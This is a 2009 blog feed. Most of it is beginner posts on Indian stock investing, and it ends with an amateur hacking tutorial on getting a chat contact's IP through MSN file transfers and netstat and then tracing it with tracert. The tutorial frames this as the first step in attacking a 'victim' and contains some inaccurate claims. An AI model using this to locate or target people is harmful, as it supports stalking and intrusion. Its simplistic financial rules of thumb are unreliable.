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Investors beware of: Brokerage and taxation!

noreply@blogger.com (Veerendra Patil) — Wed, 30 Sep 2009 14:40:00 +0000

You probably know the concept that all your transactions in the stock market are done though a "stockbroker". A stockbroker earns a commission on whatever transaction you make. Suppose you make a transaction of Rs.2000, and the stockbroker charges you a 3% commission, then you have to pay the stockbroker Rs.60 (3% of Rs.2000) for the transaction. So your total investment in the transaction in “not Rs.2000”. The total investment in the transaction is Rs.2060/-

So after sometime, if the price of the stocks you invested in goes up to Rs.2060 then you have not made any money because the total amount you invested was Rs.2060/-

What is more, even when you sell the stocks, you have to pay the broker brokerage of 3%. This means that, when you sell the stocks for Rs.2060, you have to pay the broker Rs.61.6 so the profit of Rs.60 you made on the transaction is gone, in fact you actually make a loss of Rs.1.6!!

So in effect even though you made a profit of Rs.60 because your stock price went up, you have actually made a loss.

If combine this with the fact that inflation reduces the value of money over time, you are just loosing money if you do not invest wisely without understanding brokerage and inflation.

Important note about brokerage: Brokers make money on whatever transaction you make. Whether you buy or sell, brokers will make money. Because brokers basically make money on transactions. Because of this, brokers tend to encourage you to trade. They don’t really care about whether you make a profit or loss. They just care about whether you are trading. The more money you are using for trading, the more they will make. Because of this, it would be wise to not blindly follow your brokers advise. The broker will give you “hot tips” etc. not because they are looking out for you and your profit, but because they are thinking about their own personal profit!

There is even one more factor that eats into your money. Tax!!!

Please note: We are not in any way encouraging you to not pay tax! We are just educating you about it.

There is a “short term capital gain tax” in our country. For a short term (less than one year) you have to pay tax on any capital gain you make though the stock market trading. How much % tax you have to pay, depends on which "tax bracket" you fall in.

Just to give you an idea. If I make Rs.100 though a transaction in the stock market, since I fall in the 33% tax bracket. It have to pay Rs.33 of that to the government!!

Please note: The government encourages you to be a long term-investor by having no long term capital gain tax. If you make a capital gain by investing for a period greater than one year, the you do not have to pay any tax on the money you make.

Now combine this short term capital gain tax with brokerage and inflation! Think about it for some time. You will almost make nothing on a small profit gains! If you want to make money out of the stock market, you must make large profit gains.

Conclusion: As a general rule, just for the sake of simplicity, your investments must grow at a minimum rate of 15% per year to stay ahead of inflation, tax and brokerage!! Remember this when making all your investments.

"Inflation" & how it eats your money silently & affects your investments!

noreply@blogger.com (Veerendra Patil) — Wed, 30 Sep 2009 14:39:00 +0000

Inflation, is an economic concept. What the cause of inflation is, is not important to us from the point of view of this article. What is important to us is the effect of inflation! The effect of inflation is the prices of everything going up over the years.

A movie ticket was for a few paise in my dad’s time. Now it is worth Rs.50. My dads first salary for the month was Rs.400 and over he years it has now become Rs.75,000. This is what inflation is, the price of everything goes up. Because the price goes up, the salaries go up.

If you really thing about it, inflation makes the worth of money reduce. What you could buy in my dad’s time for Rs.10, now a days you will not be able to buy for Rs.400 also. The worth of money has reduced! If this is still not clear consider this, when my father was a kid, he used to get 50paise pocket money. He used to use this money to go and watch a movie (At that time you could watch a movie for 50paise!)

Now, just for the sake of understanding assume that my dad decided in his childhood to save 50paise thinking, that one day when he becomes big, he will go for a movie. Many years pass. The year now is 2006. My dad goes to the theater and asks for a ticket. He offers the ticket-booth-guy at the theater 50paise and asks for a ticket. The ticket booth guy says, “I am sorry sir, the ticket is worth Rs.50. You will not be able to even buy a “paan” with the 50paise!!”

The moral of the story is that, the worth of the 50paise reduced dramatically. 50paise could buy a whole lot when my dad was a kid. Now, 50paise can buy nothing. This is inflation. This tells us two important things.

Firstly: Do not keep your money stagnant. If you just save money by putting it your safe it will loose value over time. If you have Rs.1000 in your safe today and you keep it there for 10years or so, it will be worth a lot less after 10 years. If you can buy something for Rs.1000 today, you will probably require Rs.1500 to buy it 10 years from now. So do not keep money locked up in your safe.

Always invest money.

If you can’t think where to invest your money, then put it in a bank. Let it grow by gaining interest. But whatever you do, do not just lock your money up in your safe and keep it stagnant. If you do this, you will be loosing money without even knowing it. The more money you keep stagnant the more money you will be loosing.

Secondly: When investing, you have to make sure that the rate of return on your investment is higher than the rate of inflation.

What is the rate of inflation?

As we said earlier, the prices of everything goes up over time and this phenomenon is called inflation. The question is: By how much do the prices go up? At what rate do the prices do up?

The rate at which the prices of everything go up is called the "rate of inflation". For example, if the price of something is Rs.100 this year and next year the price becomes approximately Rs.104 then the rate of inflation is 4%. If the price of something is Rs.80 then after a year with a rate of inflation of 4% the price go up to (80 x 1.04) = 83.2

So, when you make an investment, make sure that your rate of return on the investment is higher than the rate of inflation in your country. In our county India, for the year 2005-2006 the rate of inflation was 4% (Which is really low and amazing!). This rate keeps changing every year. The finance minister generally gives the official statement on the inflation rate of the country for a particular year.

What is the rate of return?

The rate of return is how much you make on an investment. Suppose you invest Rs.100 in the market and over a year, you make Rs.120, then you rate of return is 20%.

If you invest Rs.100 in the market today and you make money at a 3% "rate of return" in one year you will have Rs.103. But now, since the rate of inflation is at 4%, an item costing Rs.100 today will cost Rs.104 a year from now. So what you can buy with today’s Rs.100, you will only be able to buy with Rs.104 a year from now.

But the Rs.100 that you invested has grown only at a 3% rate of return and so it is worth Rs.103. In effect, you are loosing money!

So in conclusion, the rate of return on your investments, have to be higher than the rate of inflation.

From the above paragraphs you can note how silently, inflation eats into your money. You would not even know about it an your money would sit loosing value for no fault of yours. But inflation is not the only thing you should be considering, there are other things too that eat into you money. The first thing is “brokerage” and the second thing is “taxation”.

PEG (Price to future growth ratio!) and what it tells you!

noreply@blogger.com (Veerendra Patil) — Wed, 30 Sep 2009 14:39:00 +0000

The market is usually more concerned about the future than the present, it is always looking for some way to figure out what is going to happen in the companies future.

A ratio that will help you look at future earnings growth is called the PEG ratio.

You calculate the PEG by taking the P/E and dividing it by the projected growth in earnings.

PEG = (P/E) / (projected growth in earnings)

For example, a stock with a P/E of 30 and projected earning growth next year of 15% would have a PEG of 30 / 15 = 2.

What does the “2” mean?

Technically speaking: The lower the PEG number, the less you pay for each unit of future earnings growth. So even a stock with a high P/E, but high projected earning growth may be a good value.

So, to put it very simply, we are interested in stocks with a low PEG value.

Just for the sake of understanding, consider this situation, you have a stock with a low P/E. Since the stock is has a low P/E, you start do wonder why the stock has a low P/E. Is it that the stock market does not like the stock? Or is it that the stock market has overlooked a stock that is actually fundamentally very strong and of good value?

To figure this out, you look at the PEG ratio. Now, if the PEG ratio is big (or close to the P/E ratio), you can understand that this is probably because the “projected growth earnings” are low. This is the kind of stock that the stock market thinks is of not much value.

On the other hand, if the PEG ratio is small (or very small as compared to the P/E ratio, then you know that it is a valuable stock) you know that the projected earnings must be high. You know that this is the kind of fundamentally strong stock that the market has overlooked for some reason.

Important note: You must understand that the PEG ratio relies on the projected % earnings. These earnings are not always accurate and so the PEG ratio is not always accurate.

Having understood these basic three ratios, you probably have started to understand how these ratios help you understand a stock and what is valuable and what is not.

In the next section we shall look at some of the things that every investor must know about. Something that SILENTLY eats into the profits of each and every investor and how to beat it...

Price to earning (P/E) ratio & what it means?

noreply@blogger.com (Veerendra Patil) — Wed, 30 Sep 2009 14:38:00 +0000

If there is one number that people look at than more any other number, it is the “Price to Earning Ratio (P/E)”. The P/E is a ratio that investors throw around with confidence as if it told the complete story. Of course, it doesn’t tell the whole story (if it did, we wouldn’t need all the other numbers.)

The P/E looks at the relationship between the stock price and the company’s earnings. The P/E is the most popular stock analysis ratio, although it is not the only one you should consider.

You calculate the P/E by taking the share price and dividing it by the company’s EPS (Earnings Per Share that we saw above)

P/E = Stock Price / EPS

For example: A company with a share price of Rs.40 and an EPS of 8 would have a P/E of: (40 / 8) = 5

What does P/E tell you?

Some investors read a high P/E as an “overpriced stock”.

However, it can also indicate the market has high hopes for this stock’s future and has bid up the price.

Conversely, a low P/E may indicate a “vote of no confidence” by the market or it could mean that the market has just overlooked the stock. Many investors made their fortunes spotting these overlooked but fundamentally strong stocks before the rest of the market discovered their true worth.

In conclusion, the P/E tells you what the market thinks of a stock. It tells you whether the market likes or dislikes the stock. If things are vague and unclear to you, do not worry. The next ratio will make everything you read till now make sense..

Earnings per share (EPS) ratio & what it means!

noreply@blogger.com (Veerendra Patil) — Wed, 30 Sep 2009 14:37:00 +0000

Even comparing the earnings of one company to another really doesn’t make any sense, if you think about it. Earnings will tell you nothing about how many shares the company has. Because you do not know how many shares a company has, you do not know how many parts that companies earnings have to be divided into. If the company has more shares, the earnings will be divided into more parts.

For example, companies A and B both earn Rs.100, but company A has 10 shares outstanding, so each share holder has in effect earned Rs.10.

On the other hand, if company B has 50 shares outstanding and they too have earned Rs.100 then each shareholder has earned Rs.2. So you see it is important to know what is the total number of outstanding shares are as well as the earnings.

Thus it makes more sense to look at earnings per share (EPS), as a comparison tool. You calculate earnings per share by taking the net earnings and divide by the outstanding shares.

EPS = Net Earnings / Outstanding Shares

So looking at the EPS ratio, you should go buy Company A with an EPS of 10, right? EPS is not the only basis of comparing two companies, but it is one of the methods used.

Note that there are three types of EPS numbers:

Trailing EPS – last year’s numbers and the only actual EPS
Current EPS – this year’s numbers, which are still projections
Forward EPS – future numbers, which are obviously projections

EPS doesn’t tell you whether it’s a good stock to buy or what the market thinks of it.

Stock Picking - Which stocks to buy?

noreply@blogger.com (Veerendra Patil) — Wed, 30 Sep 2009 14:33:00 +0000

Having understood all the basics of the stock market and the risk involved, now we will go into stock picking and how to pick the right stock. Before picking the right stock you need to do some analysis.

There are two major types of analysis:
1. Fundamental Analysis
2. Technical Analysis

Fundamental analysis is the analysis of a stock on the basis of core financial and economic analysis to predict the movement of stocks price.

On the other hand, technical analysis is the study of prices and volume, for forecasting of future stock price or financial price movements.

Simply put, fundamental analysis looks at the actual company and tries to figure out what the company price is going to be like in the future. On the other hand technical analysis look at the stocks chart, peoples buying behavior etc. to try and figure out what the stock price is going to be like in the future.

In this article we will go into the basics of “fundamental analysis”. Technical analysis is a little more complicated. It is much more of an "art" than a science.

important things you must know and follow as an new investor!

noreply@blogger.com (Veerendra Patil) — Wed, 30 Sep 2009 14:32:00 +0000

You need to KNOW some “unforgettable basics” before you enter the world of investing in stocks. The stock market is a field dominated by savvy investors who know the ins-and-outs of the market. For people who are not “on the inside”, the stock market can be a VERY dangerous place. :

Don't even consider "tips" that tell you about "hot stocks". Consider the source: There are many people in the market who put in all their time and effort in promoting certain stocks. They do this because they have their money invested in those stocks. If they can get enough people to buy the stock and they can get the stock price to rise, they will sell the stock for a huge price, the stock price will crash and they will walk off to promote another stock.

Always use your own brain: It's extremely important. You must always use your own brain. Relying on the advice of others, no matter how well intentioned it may be, is almost always a complete disaster. Make sure you dig in and really examine the "facts about the companies" before you invest. Ignore press releases which have very little substance, and rely on "hype" to tell the company's story.

And finally the most important tip!!!
Only invest money you can afford to lose!! Sure this is a basic point, but many many people miss it. You should only invest money that you can honestly afford to lose!! Everyone enters into investments with the idea of earning big profits, but in many cases, this never works. (Especially if you are new to investing in the stock market!)

Please understand that the above tips are tips for beginners. Once you really get into the stock market you do not need to follow these rules anymore. But if you are a new investor, you MUST follow these rules. They are for your own safety.

But then again, nothing comes free. Everything has a price. You will have to loose some money, make some bad decisions and then only will you really understand the market. You cannot understand the market by just looking at it from far. By following these rules, you will basically not loose too much!

What are the Sensex & the Nifty?

noreply@blogger.com (Veerendra Patil) — Wed, 30 Sep 2009 14:31:00 +0000

The Sensex is an "index". What is an index? An index is basically an indicator. It gives you a general idea about whether most of the stocks have gone up or most of the stocks have gone down.

The Sensex is an indicator of all the major companies of the BSE.

The Nifty is an indicator of all the major companies of the NSE.

If the Sensex goes up, it means that the prices of the stocks of most of the major companies on the BSE have gone up. If the Sensex goes down, this tells you that the stock price of most of the major stocks on the BSE have gone down.

Just like the Sensex represents the top stocks of the BSE, the Nifty represents the top stocks of the NSE.

Just in case you are confused, the BSE, is the Bombay Stock Exchange and the NSE is the National Stock Exchange. The BSE is situated at Bombay and the NSE is situated at Delhi. These are the major stock exchanges in the country. There are other stock exchanges like the Calcutta Stock Exchange etc. but they are not as popular as the BSE and the NSE.Most of the stock trading in the country is done though the BSE & the NSE.

Besides Sensex and the Nifty there are many other indexes. There is an index that gives you an idea about whether the mid-cap stocks go up and down. This is called the “BSE Mid-cap Index”. There are many other types of indexes.

There is an index for the metal stocks. There is an index for the FMCG stocks. There is an index for the automobile stocks etc.

What makes stock prices go "up" and "down"?

noreply@blogger.com (Veerendra Patil) — Wed, 30 Sep 2009 14:30:00 +0000

Stock prices change every day because of market forces. By this we mean that stock prices change because of “supply and demand”. If more people want to buy a stock (demand) than sell it (supply), then the price moves up!

Conversely, if more people wanted to sell a stock than buy it, there would be greater supply than demand, and the price would fall. (Basics of economics!)

Understanding supply and demand is easy. What is difficult to understand is what makes people like a particular stock and dislike another stock. If you understand this, you will know what people are buying and what people are selling. If you know this you will know what prices go up and what prices go down!

To figure out the likes and dislikes of people, you have to figure out what news is positive for a company and what news is negative and how any news about a company will be interpreted by the people.

The most important factor that affects the value of a company is its earnings. Earnings are the profit a company makes, and in the long run no company can survive without them. It makes sense when you think about it. If a company never makes money, it isn't going to stay in business. Public companies are required to report their earnings four times a year (once each quarter).

Dalal Street watches with great attention at these times, which are referred to as earnings seasons. The reason behind this is that analysts base their future value of a company on their earnings projection.

If a company's results are better than expected, the price jumps up. If a company's results disappoint and are worse than expected, then the price will fall.

Of course, it's not just earnings that can change the feeling people have about a stock. It would be a rather simple world if this were the case! During the “dotcom bubble”, for example, the stock price of dozens of internet companies rose without ever making even the smallest profit. As we all know, these high stock prices did not hold, and most internet companies saw their values shrink to a fraction of their highs. Still, this fact demonstrates that there are factors other than current earnings that influence stocks.

So, what are "all the factors" that affect the stocks price? The best answer is that nobody really knows for sure. Some believe that it isn't possible to predict how stock prices will change, while others think that by drawing charts and looking at past price movements, you can determine when to buy and sell. The only thing we do know is that stocks are volatile and can change in price very very rapidly.

Just remember this: At the most fundamental level, supply and demand in the market determines stock price.

There are many types of techniques and methods that investors use to figure out whether a stock price will go up or down!

Why does a company issue stocks?

noreply@blogger.com (Veerendra Patil) — Wed, 30 Sep 2009 14:29:00 +0000

Why would the founders share the profits with thousands of people when they could keep profits to themselves? The reason is that at some point every company needs to "raise money". To do this, companies can either borrow it from somebody or raise it by selling part of the company, which is known as issuing stock.

A company can borrow by taking a loan from a bank or by issuing bonds. Both methods come under "debt financing". On the other hand, issuing stock is called “equity financing”. Issuing stock is advantageous for the company because it does not require the company to pay back the money or make interest payments along the way.

All that the shareholders get in return for their money is the hope that the shares will someday be worth more than what they paid for them. The first sale of a stock, which is issued by the private company itself, is called the initial public offering (IPO).

It is important that you understand the distinction between a company financing through debt and financing through equity. When you buy a debt investment such as a bond, you are guaranteed the return of your money (the principal) along with promised interest payments.

This isn't the case with an equity investment. By becoming an owner, you assume the risk of the company not being successful - just as a small business owner isn't guaranteed a return, neither is a shareholder. Shareholders earn a lot if a company is successful, but they also stand to lose their entire investment if the company isn't successful.

It’s a tricky game!

Note that: There are no guarantees when it comes to individual stocks. Some companies pay out dividends, but many others do not. And there is no obligation to pay out dividends. Without dividends, an investor can make money on a stock only through its appreciation of the stock price in the open market.

On the downside, any stock may go bankrupt, in which case your investment is worth nothing.

Having understood this, we now want to know what makes stock prices rise and fall?

How to make money in the stock market?

noreply@blogger.com (Veerendra Patil) — Wed, 30 Sep 2009 14:10:00 +0000

Inroduction

This article is a COMPLETE guide to the basics of making money in the stock market! If you are considering investing in the stock market, you MUST read this article! We have explained all the concepts and talked about all the "myths" that people have about the stock market!

What are stocks?

Plain and simple, a “stock” is a share in the ownership of a company.

A stock represents a claim on the company's assets and earnings. As you acquire more stocks, your ownership stake in the company becomes greater.

Note: Some times different words like shares, equity, stocks etc. are used. All these words mean the same thing.

So what does ownership of a company give you?

Holding a company's stock means that you are one of the many owners (shareholders) of a company and, as such, you have a claim to everything the company owns.

This means that technically you own a tiny little piece of all the furniture, every trademark, and every contract of the company. As an owner, you are entitled to your share of the company's earnings as well.

These earnings will be given to you. These earnings are called “dividends” and are given to the shareholders from time to time.

A stock is represented by a "stock certificate". This is a piece of paper that is proof of your ownership. However, now-a-days you could also have a “demat” account. This means that there will be no “stock certificates”. Everything will be done though the computer electronically. Selling and buying stocks can be done just by a few clicks.

Being a shareholder of a public company does not mean you have a say in the day-to-day running of the business. Instead, “one vote per share” to elect the board of directors of the company at annual meetings is all you can do. For instance, being a Microsoft shareholder doesn't mean you can call up Bill Gates and tell him how you think the company should be run.

The management of the company is supposed to increase the value of the firm for shareholders. If this doesn't happen, the shareholders can vote to have the management removed. In reality, individual investors like you and I don't own enough shares to have a material influence on the company. It's really the big boys like large institutional investors and billionaire entrepreneurs who make the decisions.

For ordinary shareholders, not being able to manage the company isn't such a big deal. After all, the idea is that you don't want to have to work to make money, right? The importance of being a shareholder is that you are entitled to a portion of the company’s profits and have a claim on assets.

Profits are sometimes paid out in the form of dividends as mentioned earlier. The more shares you own, the larger the portion of the profits you get. Your claim on assets is only relevant if a company goes bankrupt. In case of liquidation, you'll receive what's left after all the creditors have been paid.

Another extremely important feature of stock is "limited liability", which means that, as an owner of a stock, you are "not personally liable" if the company is not able to pay its debts.

In other legal structures such as partnerships, if the partnership firm goes bankrupt the creditors can come after the partners “personally” and sell off their house, car, furniture, etc.

Owning stock means that, no matter what happens to the company, the maximum value you can lose is the value of your stocks. Even if a company of which you are a shareholder goes bankrupt, you can never lose your personal assets.

Why would the founders share the profits with thousands of people when they could keep profits to themselves?.

HoW tO ReCover FrOm loVe failUre

noreply@blogger.com (Veerendra Patil) — Sun, 16 Aug 2009 06:54:00 +0000

The Lovely answer i found in internet For Love FailUre Is

Assuming you sit for an examination with 20 questions. Supposing Q.5 is tough and you don't know the answer. What would you do? Do you wait for an answer for Q.5 and don't answer the rest of the questions? I'm sure you would move on to Q.6 to 20 and then come back to Q.5, right?

Likewise, sometimes in life we may have some problems which don't have an answer yet. Don't wait till eternity for an answer.

Move on with the rest of life, studies, work, travel, leisure, hobby, friends, family even internet chat etc.

Instead of focussing too hard at her current 'problem' at hand, I guess it is wiser to look away from that spot (the problem) for a moment and then come back too it later.

Sometimes a little bit of procrastination is good.

Perhaps while involved in the other activities; she may get an answer.

Sometimes, some problems (especially problems related to heart) have funny ways of solving itself.

Special Thanks To the Fellow Named JenY For Giving An WounderFull Answer..

Demonoid Registrations Are Opened

noreply@blogger.com (Veerendra Patil) — Mon, 20 Apr 2009 06:52:00 +0000

Hi
Demonoid Register Servers ARe open Today .So hurry and Goto below site and make a new Demonoid Id ..

Register

Info About Ip And Trace It

noreply@blogger.com (Veerendra Patil) — Mon, 30 Mar 2009 06:03:00 +0000

Getting the IP or Internet Protocol of a remote system is the most important and the first step of hacking into it. Probably it is the first thing a hacker do to get info for researching on a system. Well IP is a unique number assigned to each computer on a network. It is this unique address which represents the system on the network. Generally the IP of a particular system changes each time you log on to the network by dialing to your ISP and it is assigned to you by your ISP. IP of a system which is always on the network remains generally the same. Generally those kind of systems are most likely to suffer a hacking attack because of its stable IP. Using IP you can even execute system commands on the victim’s computer.

Lets take the example of the following IP address: 202.144.49.110 Now the first part, the numbers before the first decimal i.e. 209 is the Network number or the Network Prefix.. This means that it identifies the number of the network in which the host is. The second part i.e. 144 is the Host Number that is it identifies the number of the host within the Network. This means that in the same Network, the network number is same. In order to provide flexibility in the size of the Network, here are different classes of IP addresses:

Address Class Dotted Decimal Notation Ranges

Class A ( /8 Prefixes) 1.xxx.xxx.xxx through 126.xxx.xxx.xxx

Class B ( /16 Prefixes) 128.0.xxx.xxx through 191.255.xxx.xxx

Class C ( /24 Prefixes) 192.0.0.xxx through 223.255.255.xxx

The various classes will be clearer after reading the next few lines.

Each Class A Network Address contains a 8 bit Network Prefix followed by a 24-bit host number. They are considered to be primitive. They are referred to as "/8''s" or just "8's" as they have an 8-bit Network prefix.

In a Class B Network Address there is a 16 bit Network Prefix followed by a 16-bit Host number. It is referred to as "16's".

A class C Network address contains a 24-bit Network Prefix and a 8 bit Host number. It is referred to as

"24's" and is commonly used by most ISP's.

Due to the growing size of the Internet the Network Administrators faced many problems. The Internet routing tables were beginning to grow and now the administrators had to request another network number from the Internet before a new network could be installed at their site. This is where sub-netting came in.

Now if your ISP is a big one and if it provides you with dynamic IP addresses then you will most probably see that whenever you log on to the net, your IP address will have the same first 24 bits and only the last 8 bits will keep changing. This is due to the fact that when sub-netting comes in then the IP Addresses structure becomes:

xxx.xxx.zzz.yyy

where the first 2 parts are Network Prefix numbers and the zzz is the Subnet number and the yyy is the host number. So you are always connected to the same Subnet within the same Network. As a result the first 3 parts will remain the same and only the last part i.e. yyy is variable.

***********************

For Example, if say an ISP xyz is given the IP: 203.98.12.xx Network address then you can be awarded any IP, whose first three fields are 203.98.12. Get it?

So, basically this means that each ISP has a particular range in which to allocate all its subscribers. Or in other words, all subscribers or all people connected to the internet using the same ISP, will have to be in this range. This in effect would mean that all people using the same ISP are likely to have the same first three fields of their IP Addresses.

This means that if you have done a lot of (By this I really mean a lot) of research, then you could figure out which ISP a person is using by simply looking at his IP. The ISP name could then be used to figure out the city and the country of the person. Right? Let me take an example to stress as to how cumbersome but easy (once the research is done) the above method can be.

In my country, say there are three main ISP’s:

ISP Name Network Address Allotted

ISP I 203.94.47.xx

ISP II 202.92.12.xx

ISP III 203.91.35.xx

Now, if I get to know the IP of an e-pal of mine, and it reads: 203.91.35.12, then I can pretty easily figure out that he uses ISP III to connect to the internet. Right? You might say that any idiot would be able to do this. Well, yes and no. You see, the above method of finding out the ISP of a person was successful only because we already had the ISP and Network Address Allotted list with us. So, what my point is, that the above method can be successful only after a lot of research and experimentation. And, I do think such research can be helpful sometimes.

Also, this would not work, if you take it all on in larger scale. What if the IP that you have belongs to someone living in a remote igloo in the North Pole? You could not possibly get the Network Addresses of all the ISP’s in the world, could you? If yes please send it to me J.

Well now I guess you have pretty good knowledge about what an IP is and what you can do by knowing the IP of a remote system. Now lets come to the point of finding out the IP of remote system.

Well you can easily figure out the IP of a remote system using the netstat utility available in the microsoft’s version of DOS. The netstat command shows the connections in which your system is engaged to and the ports they are using. Suppose you are checking your mail in hotmail and you want to find out the IP of msn. All you need to do is to open a dos window (command.com) and type netstat. You will see all the open connections of your system. There you will see something :

Proto Local Address Foreign Address State

TCP abhisek:1031 64.4.xx.xx:80 ESTABLISHED

Now you got the IP address of hotmail ass 64.4.xx.xx .

Similarly you can figure out the IP address of most http or ftp connections.

To know your own IP type the following command in a dos windows

C:\netstat –n

[this commands converts the IP name into IP addresses]

this is what you will probably see on typing the above command :

Proto Local Address Foreign Address State

TCP 203.xx.251.161:1031 194.1.129.227:21 ESTABLISHED

TCP 203.xx.251.161:1043 207.138.41.181:80 FIN_WAIT_2

TCP 203.xx.251.161:1053 203.94.243.71:110 TIME_WAIT

TCP 203.xx.251.161:1058 194.1.129.227:20 TIME_WAIT

TCP 203.xx.251.161:1069 203.94.243.71:110 TIME_WAIT

TCP 203.xx.251.161:1071 194.98.93.244:80 ESTABLISHED

TCP 203.xx.251.161:1078 203.94.243.71:110 TIME_WAIT

Here 203.xx.251.161 is your IP address.

Now lets clarify the format used by netstat :

Proto : It shows the type of protocol the connection with the remote system is using.

Here TCP (transmission control protocol) is the protocol used by my system to connect to other systems.

Local Address : It shows the local address ie the local IP. When the netstat command is executed without –n switch then the name of the local system is displayed and when the netstat is executed with –n switch then the IP of the local system is displayed. Here you can also find out the port used by the connection.

xxx.yyy.zzz.aaa:1024

in this format you will see the local address. Here 1024 is the port to which the remote system is connected in your system

Foreign Address :: It shows the IP address of the remote system to which your system is connected. In this case also if the netstat command is excuted with –n switch then you directly get the IP of the victim but if the netstat is executed without –n switch then you will get the address of the remote system. Something like

C:\netstat

Proto Local Address Foreign Address State

TCP abhisek:1031 msgr.lw4.gs681.hotmail.com:80 ESTABLISHED

Here msgr.lw4.gs681.hotmail.com is the address of the foreign system . putting this address in any IP lookup program and doing a whois lookup will reveal the IP of the remote system.

Note: The port to which your system is connected can be found from this in the same way as I have shown in the case of local address. The difference is that, this is the port of the remote system to which your computer is connected to.

Below I have produced a list of ports and popular services generally found to be running.

21 :: FTP port

80 :: http port

23 :: Telnet port

Note: If your execute the netstat command and find ports like 12345,27374 are open and are in use then make it sure that your sweat heart computer is infected with her boyfriend.. J J J J I mean your computer is infected with some sort of Trojan.

Below I have produced a list of commonly known Trojans and the ports they use by default. So if you find these ports open then get a good virus buster and get these stupid servers of the Trojans kicked out. Well if you want to play with these Trojan by keeping them in your computer but not letting them ruin your system performance then just disble it from the system registry run and they wont be loaded to memory each time when windows starts up[This trick doesn’t work for all Trojans].

Netbus :: 12345(TCP)

Subseven :: 27374(TCP)

Girl Friend :: 21554(TCP)

Back Oriface :: 31337 (UDP)

Well guys and gals I hope you are now well familiar with the term IP and what is the utility of IP in cyber world and how to get the IP of a remote system to which you are connected. I hope you find my writings very easy to undertstand. I know I lack the capacity of explaining myself but I try my level best to make things very easy and clear for you’ll.

How to get the IP of a remote system while chatting through msn messenger ::

This is a tutorial on how to get IP address from MSN messenger. This is actually
a really easy thing to do. It is not like going through the hard time and reversing
MSN messenger like many people think.

The IP address is only given when you accept or are sending a file through MSN
messenger. When you send IM's, the message is sent through the server thus hiding
your victims IP and your. But when you send a file or recieve a file, it is direct
connection between the two computers.

To obtain the IP accept a file transfer or send a file to the victim, when the file
sending is under way from the dos prompt type "netstat" without the quotation marks.
You should get a table like this:

Proto Local Address Foreign Address State
TCP kick:1033 msgr-ns29.msgr.hotmail.com:1863 ESTABLISHED
TCP kick:1040 msgr-sb36.msgr.hotmail.com:1863 ESTABLISHED
TCP kick: ESTABLISHED

The top name in the list is the server's address for IMing. There could be many of
the second name in the list, as a new connection is made to the server for every
room you are IMing to. You are looking for the address of the remote host in
this table it may be something similar to "host63-7-102-226.ppp.cal.vsnl.com" or “203..64.90.6”.
without the quotation marks.
All you need to do now is to put this address in you IP lookup programe and get the IP of the remote system.

Well 50%of the work is done now. Now you know how to get the IP of a remote system, so its time to trace it down and find some details about the IP.

Tracing an IP is quite simple. You can do it the easy way by using some sweet softwares like Visual Trace 6.0b

[ftp://ftp.visualware.com/pub/vr/vr.exe]

Neotrace

[http://www.neoworx.com/download/NTX325.exe]

or by our way ie. Using MS DOS or any other version of DOS.

Well I suggest you to use DOS and its tracert tool for tracing the IP cause using it will give you a clear conception about the art of tracing an IP and I guarantee that you will feel much satisfied on success than using a silly software. Furthur you will know how things work and how the IP is traced down and the different networks associated in this tracing process.

Let us take a look at tracert tool provided for DOS by Microsoft.

It is a very handy tool for peoples need to trace down an IP.

Just open any DOS windows and type tracert.

C:\windows>tracert

Usage: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name

Options:

-d Do not resolve addresses to hostnames.

-h maximum_hops Maximum number of hops to search for target.

-j host-list Loose source route along host-list.

-w timeout Wait timeout milliseconds for each reply.

You will now see a description of the tracert command and the switches associated with it.

Well these switches doesn’t makes much difference. All you can do is to increase the timeout in milliseconds by using –w switch if you are using a slow connection and the –d switch if you wish not resolve address to hostnames by default.

By default tracert performs a maximum of 30 hops trace. Using the –h switch you can specify the number of hops to perform.

Now its time for execution.

Let us trace down the IP yahoo.com [216.115.108.243]

TIP: If you have done a long research (I mean a lot) then simply looking at the IP you can figure out some info from it. For example the IP 203.90.68.8 indicates that the system is in India. In India IPs generally begin with 203 and 202

C:\WINDOWS>tracert yahoo.com

Tracing route to yahoo.com [216.115.108.243] over a maximum of 30 hops:

1 308 ms 142 ms 127 ms 203.94.246.35

2 140 ms 135 ms * 203.94.246.1

3 213 ms 134 ms 132 ms 203.94.255.33

4 134 ms 130 ms 129 ms 203.200.64.29

5 122 ms 135 ms 131 ms 203.200.87.75

6 141 ms 137 ms 121 ms 203.200.87.15

7 143 ms 170 ms 154 ms vsb-delhi-stm1.Bbone.vsnl.net.in [202.54.2.241]

8 565 ms 589 ms 568 ms if-7-0.bb8.NewYork.Teleglobe.net [207.45.198.65]

9 596 ms 584 ms 600 ms if-3-0.core2.NewYork.teleglobe.net [207.45.221.66]

10 * * * Request timed out.

11 703 ms 701 ms 719 ms if-3-0.core2.PaloAlto.Teleglobe.net [64.86.83.205]

12 694 ms 683 ms 681 ms if-6-1.core1.PaloAlto.Teleglobe.net [207.45.202.33]

13 656 ms 677 ms 700 ms ix-5-0.core1.PaloAlto.Teleglobe.net [207.45.196.90]

14 667 ms 673 ms 673 ms ge-1-3-0.msr1.pao.yahoo.com [216.115.100.150]

15 653 ms 673 ms 673 ms vl20.bas1.snv.yahoo.com [216.115.100.225]

16 666 ms 676 ms 674 ms yahoo.com [216.115.108.243]

Trace complete.

Note: Here I have traced yahoo.com. In place of yahoo.com you can give the IP of yahoo or any other IP you want to trace, the result will be the same.

Now carefully looking at the results you can figure out many information about yahoo’s server [216.115.108.243]

First packets of data leave my ISP which is at 203.94.246.35 .Similarly you can find out the different routers through which the packets of data are send and received to and from the target system. Now take a look at the 13th line you’ll see that the router is in PaloAlto.Teleglobe.net from this you can easily figure out that the router is in Palo Alto. Now finally look at the target system ie. Yahoo’s server vl20.bas1.snv.yahoo.com . Now you got the address of yahoo’s server. Now put this address in any IP lookup programe and perform and reverse DNS lookup and you will get most of the info about this address,like the place where it is in.

Well another thing you can find out using the tracert tool is that the number of hops (routers) the target system is away from you. In case of tracerouting yahoo.com we find that the target system ie yahoo’s server is 16 hops away from my system. This indicates that there are 16 routers between my system and yahoo’s server.

Apart from tracing an IP you can find out many usefull details about the target system using the tracert tool.

Firewall Detection

While tracerouting a target system, if you get * as an output then it indicates timeout error. Now if you peform another tracerout to the same taeget system at some other time with a good connection and in this way few times more and if you always get * as the output then take it for sure that the target system is running a firewall which prevents sending of data packets from the target system.

Example

Some days ago I tried to tracert hotmail’s server in plain and simple way using tracert without any trick.This is what I found out :

c:\windows>tracert 64.4.53.7

Tracing route to lc2.law5.hotmail.com [64.4.53.7]

over a maximum of 30 hops:

1 * * * Request timed out.

2 161 ms 147 ms 85 ms 203.90.69.81

